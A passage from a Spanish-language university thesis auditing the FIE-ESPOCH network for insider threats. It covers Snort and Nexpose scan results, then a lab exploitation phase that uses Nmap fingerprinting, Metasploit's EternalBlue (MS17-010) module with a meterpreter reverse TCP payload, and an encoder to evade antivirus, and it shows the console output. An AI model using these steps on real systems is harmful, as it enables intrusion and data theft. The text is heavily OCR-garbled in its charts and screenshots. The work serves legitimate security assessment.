si se solicita, solo algunos de estos programas tienen licencias. Lo que se hacen con los

programas después de proporcionar a los estudiantes es desconocido.

Revision de la segregacion
Divulgacion:
o Toda informacion es proporcionada previa solicitud, esta informacion es confidencial

no se proporciona facilmente.

Limitaciones:
o Si existen consideraciones para la interaccion con los objetivos por parte de personas

con limitaciones fisicas.

3.1.3.3. Resultados de la fase de intervencion aplicada al canal de Red de Datos de la FIE-
ESPOCH.

Verificacion de cuarentena

Identificacion del proceso de contencion:

o Identifigue métodos de cuarentena para contactos agresivos y hostiles, como
malware, puntos de acceso no autorizados, dispositivos de almacenamiento no autorizados, etc.
Segun el andlisis del trafico con Snort se detectd algunos agentes de malware y continuaban
durante el andlisis por lo que no existe un proceso de cuarentena en caso de infeccion de

malware o troyanos en una computadora dentro de las Vlans.

Niveles de contencion:
o Verificar las medidas de deteccién presentes para la deteccion de intentos de acceso a

los recursos protegidos.
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No existen medidas de deteccion ya que los equipos estan resguardados correctamente.

Finalmente se obtiene el valor del Rav ingresando los valores numéricos en la hoja de célculo
proporcionada de ISECOM. En el gréafico 2-3 se presenta el resultado obtenido:

Attack Surface Security Metrics

OS5TMM version 3.0

ISECOM

¥isibility 3
Access 3
Trust L} OPFSEC
CONTROLS True Conirols.
Class A Missing
Authentication 4 2
Indemnification 230 L] Full Controls
Resilience n [}
Subjugation o [
Continuity 17 o True Coverage A
Class B Missing True Coverage B
Non-Repudiation o [ 13.33%
Confidentiality 1 5
Privacy 2 4 Total True Cover
Integrity L] 6 4333
Alarm 1 5
Total Class B 4 26

True Missing
34
56673

266
43220

All Controls Total
Whole Coverage

LIMITATIONS Item Yalue
Yulnerabilities 1082 6 GEEEET
Weaknesses 5 2.333333
Concerns 5 5.333333
Ezposures o 182 566667
Anomalies 182000000
Total # Limitations 76156667

Security &
-30.53
True Protection
6352

Actual Security: 67.1216 ravs

Limitations
34.594495

OSSTRMM FAY - Creative Commons 3.0 Attribution-MonCommercial-MoDerivs 2011, ISECOM

Grafico 2-3: Resultado de la auditoria del canal de

datos en el edifico de la FIE-ESPOCH.
Realizado por: Byron Barragan, 2020

En base a lo anterior y observando el grafico 2-3 se determiné que la seguridad del canal de red
de datos es de 67.1216 Rav indicando que hace falta controles ademas de la presencia de varias
vulnerabilidades conocidas en los sistemas. El delta negativo (-30.59) indica el nivel de brechas

de seguridad las cuales pueden ser aprovechadas por un atacante insider.

3.1.4. Resultados del escaneo de Nexpose en las Vlans en el edificio de la FIE-ESPOCH

Para el escaneo, Nexpose se instald en un host perteneciente a las Vlans, para ello se configurd en

la herramienta un sitio de escaneo con la red de las Vlans y se definié un tipo de escaneo
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completo indicando las credenciales de acceso de todos los equipos que se van a analizar. El
escaneo tardo alrededor de 25 minutos en completarse. Posteriormente se generd un informe con
los resultados, se escogié un informe de tipo ejecutivo para visualizar las vulnerabilidades
clasificadas por riego, sistema operativo, tipo y ademas sus soluciones. En el anexo K se muestra
la pantalla principal de Nexpose y los sitios de escaneo configurados.

3.1.4.1. Resultado del escaneo de Nexpose en la Vlan Estudiantes.

Toda la informacién y gréficos que se describen a continuacion fueron tomados del informe
ejecutivo que se generd con Nexpose después del escaneo. Se encontraron 400 vulnerabilidades
durante el andlisis. De estas, 30 son vulnerabilidades criticas, son relativamente faciles de
explotar por los atacantes y pueden proporcionarles un control total de los sistemas afectados.
296 vulnerabilidades son graves. Las vulnerabilidades graves a menudo son mas dificiles de
explotar y pueden no proporcionar el mismo acceso a los sistemas afectados. Ademas, se
descubrieron 74 vulnerabilidades moderadas. Estas a menudo proporcionan informacion a los
atacantes que pueden ayudarlos a montar ataques posteriores. Estas también deben repararse de
manera oportuna. Se descubri6 que existen vulnerabilidades criticas en 6 de los sistemas, lo que
los hace més susceptibles a los ataques. En los demas sistemas se encontraron vulnerabilidades
moderadas y graves. No se encontraron vulnerabilidades en 2 sistemas. En el gréfico 3-3 se
presenta un diagrama representando lo antes descrito.

Vulnerabilities by Severity

300

275

230

w 225
¢

A 200

8 175
n

ip 150

£ 125

> 100

%

20

0

Crtical Severe Moderate

Gréfico 3-3: Clasificacion de las vulnerabilidades encontradas segun severidad

en la Vlan Estudiantes.
Realizado por: Byron Barragan, 2020
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Most Common Vulnerabilities
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Gréfico 4-3: Vulnerabilidades (i) y categoria de vulnerabilidades (d) mas comunes en la Vlan

Estudiantes.
Realizado por: Byron Barragan, 2020

El grafico 4-3 muestra que se encontré 21 ocurrencias de la vulnerabilidad generic-icmp-
timestamp, y 18 ocurrencias de generic-tcp-timestamp por lo que son las vulnerabilidades mas
comunes. Hubo 200 instancias de vulnerabilidad en las categorias Apple y Apple Mac OS X, lo
que las convierte en las categorias de vulnerabilidad mas comunes. Esta categoria de
vulnerabilidades se da por los equipos Apple que estan instalados en uno de los laboratorios y
necesitan una actualizacion de sistema operativo para solucionar estas vulnerabilidades ya que
se encuentran en un estado muy obsoleto. Ademas, se determind que se debe actualizar el
sistema operativo Windows 7 siendo este sistema el que predomina en los equipos escaneados.
Nexpose les asigna un valor propio de riesgo, con esto puede dividir las vulnerabilidades

encontradas segun el riesgo como se muestra en el grafico 5-3.

Highest Risk Vulnerabilities
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Gréfico 5-3: Vulnerabilidades segun el riesgo en la Vlan Estudiantes.
Realizado por: Byron Barragan, 2020

La vulnerabilidad http-options-method-enabled tiene un puntaje de riesgo de 5643 siendo una
vulnerabilidad moderada. La vulnerabilidad cifs-smb-signing-disabled y todas las demas que se
relacionan con el protocolo SMB (Server Message Block) tienen un puntaje de riesgo entre

3000 a 5000 siendo una vulnerabilidad grave. El protocolo SMB permite la comparticion de
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archivos e impresoras en red por lo que si un atacante explota la vulnerabilidad con existo puede
continuar con las demés computadoras 0 equipos que estan conectados en la red con el
protocolo SMB activado. Segun el informe generado, véase el anexo L, los equipos no permiten
la firma SMB. La firma SMB le permite al destinatario de los pagquetes SMB confirmar su
autenticidad y ayuda a prevenir ataques de hombre en el medio contra SMB. La firma SMB se
puede configurar de tres maneras: deshabilitada por completo (menos segura), habilitada y

requerida (mas segura).

Most Common Services Vulnerabilities by Service

Nodes Vulnerabilities
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Gréfico 6-3: Servicios (i) Vulnerabilidades por servicios (d) en la Vlan Estudiantes.
Realizado por: Byron Barragan, 2020

En el grafico 6-3 se observa que el servicio mas utilizado en la mayoria de los equipos
escaneados y a su vez el servicio con mayor numero de vulnerabilidades es HTTP (HiperText
Tranfer Protocol) con 71 vulnerabilidades detectadas durante el escaneo.

3.1.4.2. Resultado del escaneo de Nexpose en la Vlan Docentes.

Toda la informacién y graficos que se describen a continuacion fueron tomados del informe
ejecutivo que se generd con Nexpose después del escaneo. Se encontraron 682 vulnerabilidades
durante este analisis. De estas, 93 eran vulnerabilidades criticas. Son relativamente faciles de
explotar por los atacantes y pueden proporcionarles un control total de los sistemas afectados.
555 vulnerabilidades fueron graves. Las vulnerabilidades graves a menudo son mas dificiles de
explotar y pueden no proporcionar el mismo acceso a los sistemas afectados. Se descubrieron 34
vulnerabilidades moderadas. Estos a menudo proporcionan informacién a los atacantes que
pueden ayudarlos a montar ataques posteriores en su red. Estos también deben repararse de
manera oportuna, Se descubrié que existen vulnerabilidades criticas en 4 de los sistemas
escaneados, lo que los hace mas susceptibles a los ataques. Se encontrd, ademas, que 7 sistemas
tienen vulnerabilidades graves y moderadas en 10 sistemas. Ningun sistema estaba libre de

vulnerabilidades. En el grafico 7-3 se puede observar lo antes descrito.
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Gréfico 7-3 Clasificacion de las vulnerabilidades encontradas
segun severidad en la Vlan Docentes.

Realizado por: Byron Barragan, 2020
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Gréfico 8-3: Vulnerabilidades (i) y categoria de vulnerabilidades (d) mas comunes en la Vlan

Docentes.
Realizado por: Byron Barragan, 2020

Como se observa en el grafico 8-3 hubo 8 ocurrencias de la vulnerabilidad generic-tcp-
timestamp, por lo que es la vulnerabilidad mas comin. Hubo 400 instancias de vulnerabilidad
en las categorias Apple y Apple Mac OS X, lo que las convierte en las categorias de
vulnerabilidad mas comunes. Se determind que se debe actualizar el sistema operativo Windows
7 siendo este sistema el que predomina en los equipos escaneados. Ademas, se debe actualizar
el sistema operativo Apple de las computadoras de esta Vlan ya que la mayoria de las
vulnerabilidades se encontraron en este sistema siendo una version muy obsoleta lo que indica

las vulnerabilidades. Nexpose les asigna un valor propio de riesgo, con esto puede dividir las

vulnerabilidades encontradas segun el riesgo como se muestra en el gréafico 9-3.
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Highest Risk Vulnerabilities
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Grafico 9-3: Vulnerabilidades segun el riesgo en la VVlan Docentes.
Realizado por: Byron Barragan, 2020

La wvulnerabilidad cifs-smb-signing-disabled y todas las demas que se relacionan con el
protocolo SMB (Server Message Block) tienen un puntaje de riesgo de alrededor de 3342
siendo una vulnerabilidad grave. Como ya se menciond se relaciona con el protocolo SMB
Segun el informe generado, véase el anexo M, los equipos no permiten la firma SMB, la forma

de explotacién se menciond anteriormente.
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Gréfico 10-3: Servicios (i) Vulnerabilidades por servicios (d) en la VVlan Docentes.
Realizado por: Byron Barragan, 2020

En el grafico 10-3 se observa que los servicios mas utilizados en la mayoria de los equipos
escaneados son HTTP y CIFS Name Service relacionado a internet, este Ultimo con 14
vulnerabilidades y HTTP con 11 vulnerabilidades detectadas durante el escaneo.

En Vlan Administrativos no se realizé un escaneo con Nexpose debido a que durante el analisis

de Snort solo se encontr6 una amenaza por lo que esta Vlan no se consider6 como un objetivo

de un atacante insiders en el edificio de la FIE-ESPOCH.
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3.1.4.3. Vulnerabilidades consideradas para la fase de explotacion.

Para la seleccién de las vulnerabilidades a explotar, se relacioné los resultados obtenidos con

Snort y Nexpose, es decir, si las amenazas detectadas con Snort tienen relacion con las

vulnerabilidades encontradas con Nexpose. Esto se hizo debido a que solo se encontré una

vulnerabilidad de la capa de transporte siendo esta generic-tcp-timestamp. A continuacion, en la

tabla 23- 3 se muestra la relacion de los resultados, vulnerabilidades y amenazas.

Tabla 23-3: Relacidn entre los resultados de Snort y Nexpose

Andlisis con Snort Escaneo con Nexpose
ID Amenaza Descripcién Vulnerabilidad
1- . Troyano Redirige a un _S|t|0 mallc_loso que Se determing un 15.339% de
40357: | Instantaccess | muestra anuncios para ejecutar el -
AR vulnerabilidades web en Vlan
3 exe andlisis instant-access.exe X
Estudiantes y un 12.599% en
Este evento se genera cuando una
1- L Vlan Docentes. Las cuales
... |estructura de URL coincide con
31046: | Exploit kit o ., |pueden ser explotadas con
la estructura utilizada por el kit
6 L, malware.
de explotacion de Angler.
Firma de Server Message Block
1 Implementacion del Backdoor (SMB) esta deshabilitada.
Doublepulsar | Doublepulsar, se puede utilizar | No se requiere firma SMBv1l
43459 . -
9 y Eternalblue | para ejecutar software malicioso | SMBv2
en la maquina victima. Se utiliza el protocolo SMBv1
gue esté en desuso. MS17-010
Es un archivo ejecutable que
1 forma parte
46237 Troyano | de BitcoinMiner desarrollado
1 Miner64 | por Ufasoft. Este evento se
genera cuando la muestra del
minero se ha ejecutado.
1 Este evento se genera cuando|Se determind un 15.339% de
45549 Troyano | XMRIig intenta iniciar sesion en | vulnerabilidades web en Vlan
1 XMRig una APl de grupo de mineria|Estudiantes y un 12.599% en
jsonrpc. Vlan Docentes. Las cuales
1- El troyano Ramnit hace que los|pueden ser explotadas con
Troyano . .
48080 . equipos infectados operen como | malware, Troyanos etc.
Ramnit .
1 una botnet centralizada.
Este evento se genera cuando una
1- computadora con Slimware se
Troyano . .
46486 . comunica con el servidor de
LittleInstaller .
1 control para actualizaciones.
Provoca anuncios no deseados.
Microsoft Edge permite a los|Mas del 70% de los objetivos
atacantes remotos obtener | activos durante el escaneo tiene
Robo de |informacion confidencial a traves | sistema operativo Windows 7.
41573: | . g . - .
4 informacion |de wun sitio web disefiado, | Siendo vulnerable a las amenazas
también conocido como | 1-43459:2, 1-41573:4, 1-47102:1
"Vulnerabilidad de divulgacion|y 1-32691:1
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de informacién de Microsoft

Edge".
Realiza  secretamente  otras
1 acciones que afectan la
_ Malware |informacion personal almacenada
41337: . o
9 Sysch en el dispositivo, y o el control
del dispositivo. Esta asociado con
el sistema operativo Android.
Redirige a un sitio malicioso que
1 Troyano | muestra advertencias que indican
Instant mputador ta .,
A03s56: | nstantaccess jque su - computadora eS| oy ine un 15.339% de
.exeotra |infectada y que necesita ejecutar .
3 . e vulnerabilidades web en Vlan
version el analisis instant-access.exe de .
. . Estudiantes y un 12.599% en
inmediato.
— Vlan Docentes. Las cuales
Este troyano es utilizado para
1- Malware |. pueden ser explotadas con
instalar el ransomware
35549 Troyano malware.
CryptoLocker en una
1 ZeuS L
computadora victima.
Una version del malware troyano
1- Zeus. Este troyano es utilizado
Troyano -
35030 para instalar el ransomware
Zbot 0 Zeus
1 CryptoLocker en una
computadora victima.
1- Trovano Troyanos que roban informacion
25074 Y bancaria de un sistema afectado.
1 Banker
Se determind un 15.339% de
1- . Denominado Armadillo, poca vulnerabllldades web en Vian
. Archivo |. L Estudiantes y un 12.599% en
23605: - informacion acerca de esta alerta
malicioso. . Vlan Docentes. Las cuales
12 se sabe que es de origen ruso
pueden ser explotadas con
malware o inyeccion de codigo.
Este evento se genera cuando un|Mas de 70% de los objetivos
1 atacante intenta explotar una|activos durante el escaneo tiene
47102 Uso de vulnerabilidad de confusion de |sistema operativo Windows 7.
1 Exploit tipo en Microsoft Edge o CVE- |Siendo vulnerable a la amenaza
2018-8298 1-43459:2, 1-41573:4, 1-47102:1
y 1-32691:1
1- Vulnerabilidad CVE-2018-4990,
46659 Uso de Intento de explotar un doble|la explotacion exitosa puede
9 Exploit gratis en Adobe Acrobat Reader. |llevar a la ejecucion de codigo
malicioso.
Mas de 70% de los objetivos
activos durante el escaneo tiene
sistema operativo Windows 7.
L Intento de denegacion de servicio Siendo vulnerable a la amenaza
32691: | Uso de script utilizando interr?et Explorer 9 1-43459:2, 1-41573:4, 1-47102:1
1 PIOTer=. 1y 1-32691:1

Se determind que alrededor del
8% de las wvulnerabilidades
pertenecen a la categoria de
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| \ \ | denegacion de servicio. |
Realizado por: Byron Barragan, 2020

Como se puede ver en la tabla 23-3 existe una relacion entre los resultados de Snort y Nexpose
y tomando en cuenta en la seccion 2.3 se decidié explotar las siguientes vulnerabilidades

mostradas en la tabla 24-3.

Tabla 24-3: Vulnerabilidades y amenazas consideradas para la fase de explotacion

Vulnerabilidad/Amenaza Definicion Herramienta

Se puede utilizar para

realizar ataques

fingerprinting, obtener
Generic-tcp-timestamp informacion del | Zenmap Distribucion Kali
Generic-icmp-timestamp sistema  que  serd | Linux

victima del ataque; fase
de reconocimiento de
un ataque.

Tener control total de
la computadora
victima, con esto se
puede hacer robo de
informacion, ejecucién
de malware, ataques
hombre en medio, etc.
Consumo de recursos
de la computadora | Ejecucion de una version
victima, instalacion de | del malware Zeus.
software malicioso.
Denegar el servicio de
Vulnerabilidades de tipo denegacion | una pagina web y todo | Distribucién/Kali  Linux/
de servicio lo que conlleva el | Scritp Slowloris.

acceso a la misma.
Tener control total de
la computadora victima
mediante  SMB e | Distribucion Kali Linux/
instalacion del | Mddulos de Metasploit
backdoor
Doublepulsar.

Distribucién Kali Linux/
Médulos de Metasploit

Vulnerabilidades de SMB
MS17-010 Eternalblue

Amenaza: Malware, Troyanos

Backdoor Doublepulsar

Realizado por: Byron Barragan, 2020

En la tabla 24-3 se presentan las amenazas y vulnerabilidades que en la fase de explotacion se
hizo énfasis, las vulnerabilidades Generic-tcp-timestamp y Generic-icmp-timestamp son las mas
comunes encontradas en los escaneos de Nexpose en las dos Vlans, por lo que en la fase de
explotacion se tomo en cuenta estas dos vulnerabilidades para determinar que puede causar un
posible insider aprovechandose de la vulnerabilidad. Ademaés, para el caso de la vulnerabilidad
Generic-tcp-timestamp, es la Gnica vulnerabilidad de la capa de transporte que se encontrd.
Generic-icmp-timestamp es una vulnerabilidad de capa de red, sin embargo, se considerd ya que

tiene relacion con la vulnerabilidad Generic-tcp-timestamp teniendo el mismo objetivo, estas
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vulnerabilidades se pueden aprovechar con ataques fingerprinted para eso se decidid utilizar la
herramienta Zenmap para hacer un escaneo de puertos y obtener informacion del sistema al cual
se desea realizar un ataque mas complejo. Esto forma parte de la etapa de reconocimiento de un

ataque informatico

La vulnerabilidad cifs-smb-signing-disabled y todas las relacionadas con el protocolo SMB
estan representadas en la tabla 24-3 como vulnerabilidades SMB, esta vulnerabilidad permite a
cualquier usuario compartir archivos sin ninguna clase de autenticacion por lo que para la fase
explotacién se decidid explotar esta vulnerabilidad en conjunto con la vulnerabilidad MS17-010
la cual estd presente en el sistema operativo Windows 7 utilizado en las computadoras del
edificio de la FIE-ESPOCH. Estas vulnerabilidades representan mucho riesgo como lo muestran
los gréficos 5-3 y 9-3 ademas la vulnerabilidad MS17-010 en su tiempo fue aprovechada en
conjunto con un ransomware y un Backdoor denominado Doublepulsar el cual se fue detectado
durante el anélisis de Snort como se observa en la tabla 23-3 que también se replico en la fase

de explotacién.

Durante el andlisis de Snort se detectd una gran cantidad de malware y troyanos, en especifico
el malware ZeuS que es utilizado para instalar el ransomware CriptoLocker, sin embargo, este
ransomware no fue detectado en el analisis de Snort, por lo que se decidid replicar este malware

en la fase de explotacion para determinar cual es el efecto de este en una computadora.

En el desarrollo del primer objetivo propuesto para este trabajo se mencioné que las amenazas
mas comunes a la capa de transporte son los ataques de denegacion de servicio, por lo que este

tipo de amenazas se tuvo a consideracion en la fase de explotacion.

3.1.5. Escenario virtual para la fase de explotacion de vulnerabilidades

La fase de explotacion se realizd en un escenario virtual desarrollado en el simulador GNS3, en
una computadora portatil Alienware 17 R5 con 32 Gigabytes de memoria ram. Este escenario

pertenece al laboratorio de microondas del edificio de la FIE-ESPOCH.
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Figura 1-3: Escenario virtual utilizado para la fase de explotacién
Realizado por: Byron Barragan, 2020

En la figura 1-3 se muestra el escenario virtual donde se realizé las pruebas de explotacién. Este
escenario cuenta con un switch al cual se conectan 19 computadoras. En el escenario virtual
solo se conectan 6 computadoras debido al uso de la memoria ram que ocupa el simulador ya
que estas son maquinas virtuales administradas desde el virtualizador Vmware 15, cada una de
estas computadoras tienen 3 gigabytes de memoria ram y dos adaptadores virtuales de red; de
estas 6 computadoras; la denominada LAB-CM-13 esta representando la computadora atacante
o insider, esta es una maquina virtual de Kali Linux desde donde se realizo6 los ataques, para eso
se configurd esta maquina virtual con 4 gigabytes de memoria ram y dos adaptadores virtuales
de red. Las deméas computadoras simbolizan las victimas con sistema operativo Windows 7'y,
ademas, todas las computadoras tienen conexion a internet. La computadora LAB-CM-14 es
una maquina virtual explotable de Windows 7 siendo esta la victima de los ataques debido a que
esta contiene las vulnerabilidades del protocolo SMB. En el escenario se implement6 Snort en
una maquina virtual con distribucion CentOS 7, 3 gigabytes de memoria ram y dos adaptadores
virtuales de red, Snort detectara el trafico de los ataques realizados mostrando alertas; para esto
en el switch se configurd un puerto espejo para que todo el trafico de los demas puertos se copie
al puerto configurado y Snort pueda analizar el tréfico, la configuracion utilizada en el switch se
muestra en el anexo N. Ademas, se observa un servidor web el cual se instalé en una méaquina
virtual con distribucion CentOS 7, 3 gigabytes de memoria ram y dos adaptadores de red
virtuales. Este servidor web se levantd con Apache2 y representa la victima de los ataques de
denegacién de servicio. Antes de comenzar con la fase de explotacién se comprobd que exista
conectividad en todo el escenario, el direccionamiento utilizado obedece a la red
192.168.19x.xxx/24.
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3.2. Resultados de la etapa 2: Explotacion

La etapa de explotacion comienza con una fase de reconocimiento con un ataque de
fingerprinted aprovechandose la wvulnerabilidad generic-tcp-timestamp y generic-icmp-

timestamp esto con el objetivo de obtener informacién del sistema a atacar.

3.2.1. Explotacion de Generic-tcp-timestamp y Generic-icmp-timestamp

En el reporte ejecutivo generado por Nexpose en el apartado de la vulnerabilidad de Generic-
tcp-timestamp menciona que: “El host remoto respondié con una marca de tiempo TCP. La
respuesta de indicacion de fecha y hora de TCP se puede usar para aproximar el tiempo de
actividad del host remoto, lo que podria ayudar en futuros ataques. Ademas, algunos sistemas
operativos pueden realizarse ataques de fingerprinting y tomar informacion del sistema en
funcion del comportamiento de su marca de tiempo TCP”; esta indica que se puede explotar esta

vulnerabilidad realizando un ataque fingerprinting.

Como se mencioné la computadora LAB-CM-13 es la atacante por lo que desde esta se realiz6
un ataque fingerprinting, para ello se utilizd la herramienta Zenmap; Zenmap es la interfaz
grafica de Nmap, esta es una herramienta que sirve para escanear una red basandose en
solicitudes de conexion. La herramienta Zenmap esta instalada pro defeco en la distribucion
Kali Linux por lo que se ejecuta desde el escritorio obteniéndose la siguiente interfaz de
usuario, en ella se indica el tipo de escaneo que se desea realizar y la direccion de red, el
escaneo inicia tras hacer clic en scan. El tipo de escaneo que se utilizo es un escaneo intenso
hacia todos los puertos TCP. En la figura 2-3 se muestra la interfaz de usuario e inicio del

escaneo.

En la figura 3-3 se observa que se descubrid 6 equipos activos en el escaneo siendo estas la
direccion IP de la computadora victima y la direccion IP de la computadora atacante. La
direccion IP del servidor web y la direccion IP de Snort. En la figura 4-3 se observa las

direcciones IP de cada equipo encontrado.

Target 192.168.193.0/24 v Profile intense scan, all TCP port v Scanl Cancs

Commana imap -p 1-65538 4 -A 192.168.193.0/24

Hosts Services Nmap Output Ports 7 MHosts Topology Hoat elalls Al

oy Host - nmap -pl-65535 -T4 -A -vi102.168 1910

Starting Nmap 7. .80 ( hitps /nmap.org ) 1 2019-11-19 15:3% ESY
NSE: Loaded 151 scripts for scanning

NSE: Scraipt Pre-scanning

Iniftiating NSE T 15:35

Completed NSE "t 15 1%, 0.00 elapsed

Infitiating NsSE nl 15:25%

completed NSE T 15:35 0D.008 elapse:

!
Figura 2-3: Interfaz de usuario de zenmap e inicio del escaneo realizado
Realizado por: Byron Barragan, 2020
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El escaneo se demoro alrededor de 20 minutos obteniéndose los siguientes resultados.

Zenmap e e 0

Scan Tools Profile Help
Target: 1192.168.193.0/24 ¥ | Profile: !Intense scan, all TCP ports v Scan

Command: nmap-pl1-65535-T4-A-v192.168.193.0/24

Hosts Services Nmap Output | Ports [ Hosts Topology Host Details | Scans

OS Host 7 nmap -p1-65535.T4 A .v192.168.193.0/24 ; s
# 1921681931
%) 192.168.193.128
Ay 192.168.193.129
A 192.168.193.135

192.168,193.137

| <HTML><BODY><H1>408 Bad Request</Hl></BODY></HTML> *
| http-methods:

| Supported Methods: GET HEAD POST

| http-title: Site doesn't have a title (text/plain;
charset=utf-8).

| ssl-cert: Subject: commonName=VMware/countryName=US

| Issuer: commonName=VMware/countryName=suUS

| Public Key type: rsa

Duhlir Kauv hite 048R

Figura 3-3: Resultado del escaneo intenso a todos 10s puertos TCP en el escenario virtual.
Realizado por: Byron Barragan, 2020

W 192.168.193.254

Adaptador de Ethernet Conexidn de &rea local:
Sufijo DNS especifico para la conexidén. . :
U culo: direccion IPv6 local. . . : feBB::816c:1aed:5h43:3a92%11
Direccidn IPvd4. . . . . . . « « ¢« & &« &« « ¢ 192.168.193.137
Miscara de subred . . . . . . . + « « . . ¢ 255.255.0
Puerta de enlace predeterminada . . . . . ¢ 1 168.193.1
Adaptador de tdanel isatap.{(BAASA284-C398-427F-BBFF-BEB4452CF7C4) :

p de los medios. . « « =« +» « * medios desconectados
Sufijo DNS especifico pn a la conexidn.

Adaptador de tdnel isatap.{BACE6GBBC-FBB82-4EC7-AB55-58C824415CH6)

o de los medios. . . . « : medios desconectados
DNS especifico para l\ conexion.

Adaptador de tinel isatap.localdomain:

Estado de ]u, medios. . . « : medios desconectados
Sufijo DNS especifico pn a l\ conexién. . * localdomain

C:\Windows\systen32)>

Figura 4-3: Direcciones IP de las méquinas virtuales configuradas en el escenario virtual
Realizado por: Byron Barragan, 2020

Los resultados se pueden presentar de manera especifica, es decir, los puertos abiertos que se

encontraron, los servicios y procesos que se manejen, la direccion IP, la direccion MAC, la
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version del sistema operativo, e incluso una topologia de los equipos conectados. Los resultados

obtenidos se muestran en las figuras 5-3 y 6-3.

La figura 5-3 muestra estos resultados indicando los puertos abiertos en la computadora victima

de manera resumida, ademas del sistema operativo Windows 7, toda esta informacion seréa de

utilidad para realizar los ataques mas adelante. Este ataque fingerprinting sirve como fase de

reconocimiento.
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Figura 5-3: Direcciones IP de las maquinas virtuales encontradas en el escaneo.

Realizado por: Byron Barragan, 2020
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Figura 6-3: Puertos abiertos en LAB-CM-13.

Realizado por: Byron Barragan, 2020
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Target: '192.168.193.0/24 v Profile ntense scan, all TCP ports v Scan
Command: nmap -p1-65535-T4-A-v192.168.193.0/24
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Figura 7-3: Topologia de los equipos encontrados durante el escaneo de Zenmap.
Realizado por: Byron Barragan, 2020

Finalmente, en la figura 7-3 muestra la topologia de los equipos conectados y encontrados
durante el escaneo. La vulnerabilidad se exploté con éxito ya que en base a los resultados
obtenidos se puede continuar con la fase de explotacién de las siguientes vulnerabilidades y

amenazas. Este atagque no fue detectado por Snort.

3.2.2. Explotacion de vulnerabilidades SMB.

Para la explotacion de las vulnerabilidades SMB, es necesario que el protocolo este activado en la
maquina explotable de Windows 7, para Windows 7 este protocolo viene activo por defecto, al
estar activado este protocolo permite la comparticion de archivos e impresoras en red. La
vulnerabilidad MS17-010 o Eternalblue permite a un atacante hacerse con el control de la
computadora victima. Esta vulnerabilidad se la puede explotar con la ayuda de la herramienta
Metasploit ya que tiene un modulo especifico para la explotacion de esta vulnerabilidad
trabajando en conjunto con la vulnerabilidad cifs-smb-signing-disabled que permite cualquier
conexién sin autenticacion, el ataque se realizd desde la computadora LAB-CM-13 hacia la
computadora LAB-CM-14 siendo esta ultima la victima. El ataque se realiz6 por linea de codigo

en la consola de metasploit.

Gracias al ataque de fingerprinting que se realiz6 anteriormente con la herramienta Zenmap, se

conoce la direccion IP de la maquina victima, en la figura 8-3 se muestra esta direccion.
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igura 8-3: Direccion IP de la computadora victima LAB-CM-14.

Realizado por: Byron Barragan, 2020

En el anexo O se muestra las lineas de cddigo utilizadas para la explotacion de la
vulnerabilidad, antes de iniciar una consola de metasploit se debe iniciar el servicio postgresql.
Después de esto se inicia la consola de metasploit y se busca un escaner para determinar si la
victima tiene la vulnerabilidad, el escaner utilizado es auxiliary/scanner/smb/smb_ms17 010,
ingresando este comando e indicando la direccion IP en donde se realiza el escaneo se ejecuta y

arroja el siguiente resultado mostrado en a figura 9-3.

root@kall: -

Edit
CHECK

View Search Terminal
PIPE

Check
PIPES
List
RHOSTS

The

File Help
false
for named pipe on vulnerable hosts
/usr/share/metasploit-framework/data/wordlists/

of named pipes to check

NAMED named pipes

target
445
SMB service

address range or CIDR identifier
RPORT
3 The
SMBDomain
The
SMBPass
The
SMBUser
The username
THREADS 1
The number

port (TCP)

windows domain to use for authentication

password for the specified username

to authenticate as

of

concurrent threads
1515 auxiliaryl )
nsfS auxiliaryl )
msfS auxiliaryl )
RHOSTS => 192.168.193.137

msf5 auxiliaryl )

> set RHOSTS 192.168.193.137

> exploit

(+] 192.168.193.137:445
lonal 7601 Service Pack 1
192.168,193.137:445 - Scanned 1 of
Auxiliary module execution completed

Figura 9-3: Resultado del escaner de metasploit utilizado en la computadora LAB-CM-14.
Realizado por: Byron Barragan, 2020

Host 1§

Llikely VULNERABLE to MS17-010!
x64 (64-b1t)

Windows 7 Pr

ofess

1 hosts (100% complete)
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En la figura 9-3 se muestra el resultado, indicando que la victima es vulnerable al médulo de
metasploit MS17-010 e incluso indica la version del sistema operativo; Windows 7 Professional
7601 Service Pack 1 x64 (64 bits).

Iniciando una nueva consola de metasploit ahora en cambio se busca el médulo para la
explotacion, concretamente se realiza una blsqueda de Eternalblue, una vez encontrado se
utiliza el modulo con el comando use. Lo que sigue después es indicar la direccion IP de la
victima y el payload, es decir, utilizar una sesion meterpreter mediante TCP para mantener la
sesion conectada utilizando el puerto TCP 4444, es importante ademas indicar desde donde se
realiza el ataque por lo que después de indicar la sesién meterpreter se debe indicar la direccién
IP local desde donde se realiza el ataque. Este tipo de ataques son facilmente detectados por un
antivirus, debido a esto se debe configurar un encoder, lineas de cddigo que ayudan a burlar a

los antivirus, el encoder utilizado es un genérico como se muestra en la figura 10-3.

Unknown command

nstrs exploiri

Compatible Encoders

Name - s Date Rank Description

manual The EICAR Encoder

n
normal The none Encoder

normal

Dynamic key XOR Encoder

'
1

normal XOR Encoder
)
2 | ) Zutto Dekiru

FZUtto dekinr Mg
N

Figura 10-3: Encoder utilizado para burlar el antivirus en la computadora LAB-CM-14.
Realizado por: Byron Barragan, 2020

Finalmente, con el comando exploit se pone marcha el ataque, si no existe un error durante la

configuracion del médulo de ataque mostrara lo que se observa en la figura 11-3.

192,160,193, 135 4444
| Likely VULNERABLE to Ms17
04 (B4A-Dat)
ting To target Tor exploltatior

ection est ished for exploitatior
t O elect vallil 0% indl
raw butfer unp yie

xO000OOHO

Hx00000010

00000020 0% 63 6% 20

192160, 193, 1307 1445 aending final SMBv2 burt

Figura 11-3: chui del modulo de taqueMl?-OlO Eternalblue.
Realizado por: Byron Barragan, 2020
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Después de esperar unos segundos la sesion inicia indicando que el ataque se realiz6 con éxito,
una vez iniciada la sesion meterpreter tenemos acceso total a la victima. Para comprobar esto se
puede ingresar el comando sysinfo y nos mostrard la informacion del sistema en el que nos

encontramos. La figura 12-3 muestra lo antes descrito.

192.168,193.137:445 -

[+] 192.168,193.137:445 -

meterpreler > sysinfo
Computer WIN7
: Windows 7 (Build 7601, Service Pack 1)
x64
> 'm Language : es ES
Domain WORKGROUP
Logged On Users : 2
Meterpre x64/windows
meterpreter »

Figura 12-3: Informacion del sistema LAB-CM-14; sistema atacado.
Realizado por: Byron Barragan, 2020

Una vez que la sesion esta iniciada es cuestién de aplicar los comandos para observar a tiempo
real lo que hace la victima, copiar archivos, mandar mensajes, ver procesos que se ejecuten en la
computadora victima, tomar capturas de pantalla y almacenar todo tipo de informacién en la
maquina local etc. Por ejemplo, con el comando run vnc se puede ver a tiempo real lo que el
